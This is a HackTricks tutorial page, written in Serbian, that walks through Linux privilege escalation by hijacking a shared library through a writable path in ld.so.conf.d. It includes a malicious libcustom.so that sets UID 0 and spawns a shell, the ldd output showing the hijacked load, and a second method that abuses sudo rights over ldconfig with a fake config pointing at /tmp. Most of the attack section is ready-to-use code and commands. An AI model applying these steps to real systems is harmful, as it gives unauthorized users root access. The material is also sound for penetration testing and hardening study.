ld.so privesc exploit example

Podržite HackTricks

Pripremite okruženje

U sledećem odeljku možete pronaći kod datoteka koje ćemo koristiti za pripremu okruženja

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. Kreirajte te datoteke na vašem računaru u istom folderu

  2. Kompajlirajte biblioteku: gcc -shared -o libcustom.so -fPIC libcustom.c

  3. Kopirajte libcustom.so u /usr/lib: sudo cp libcustom.so /usr/lib (root privilegije)

  4. Kompajlirajte izvršnu datoteku: gcc sharedvuln.c -o sharedvuln -lcustom

Proverite okruženje

Proverite da li se libcustom.so učitava iz /usr/lib i da možete izvršiti binarnu datoteku.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

U ovom scenariju pretpostavićemo da je neko kreirao ranjivu stavku unutar datoteke u /etc/ld.so.conf/:

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

Vulnerabilna fascikla je /home/ubuntu/lib (gde imamo pravo pisanja). Preuzmite i kompajlirajte sledeći kod unutar te putanje:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Sada kada smo napravili zlu libcustom biblioteku unutar pogrešno konfigurisane putanje, treba da sačekamo na ponovno pokretanje ili da korisnik root izvrši ldconfig (u slučaju da možete da izvršite ovu binarnu datoteku kao sudo ili ima suid bit, moći ćete da je izvršite sami).

Kada se to dogodi, ponovo proverite odakle sharevuln izvršna datoteka učitava libcustom.so biblioteku:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Kao što možete videti, učitava se iz /home/ubuntu/lib i ako bilo koji korisnik to izvrši, izvršiće se shell:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Napomena da u ovom primeru nismo eskalirali privilegije, ali modifikovanjem izvršenih komandi i čekanjem da root ili drugi privilegovani korisnik izvrši ranjivi binarni fajl moći ćemo da eskaliramo privilegije.

Druge pogrešne konfiguracije - Ista ranjivost

U prethodnom primeru smo simulirali pogrešnu konfiguraciju gde je administrator postavio folder bez privilegija unutar konfiguracionog fajla unutar /etc/ld.so.conf.d/. Ali postoje i druge pogrešne konfiguracije koje mogu izazvati istu ranjivost, ako imate dozvole za pisanje u nekom konfiguracionom fajlu unutar /etc/ld.so.conf.d, u folderu /etc/ld.so.conf.d ili u fajlu /etc/ld.so.conf možete konfigurisati istu ranjivost i iskoristiti je.

Eksploatacija 2

Pretpostavimo da imate sudo privilegije nad ldconfig. Možete naznačiti ldconfig odakle da učita konf fajlove, tako da možemo iskoristiti to da nateramo ldconfig da učita proizvoljne foldere. Dakle, hajde da kreiramo potrebne fajlove i foldere za učitavanje "/tmp":

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Sada, kao što je naznačeno u prethodnom eksploitu, napravite zlu biblioteku unutar /tmp. I konačno, učitajte putanju i proverite odakle se binarni fajl učitava biblioteku:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Kao što možete videti, imajući sudo privilegije nad ldconfig, možete iskoristiti istu ranjivost.

Podržite HackTricks

Last updated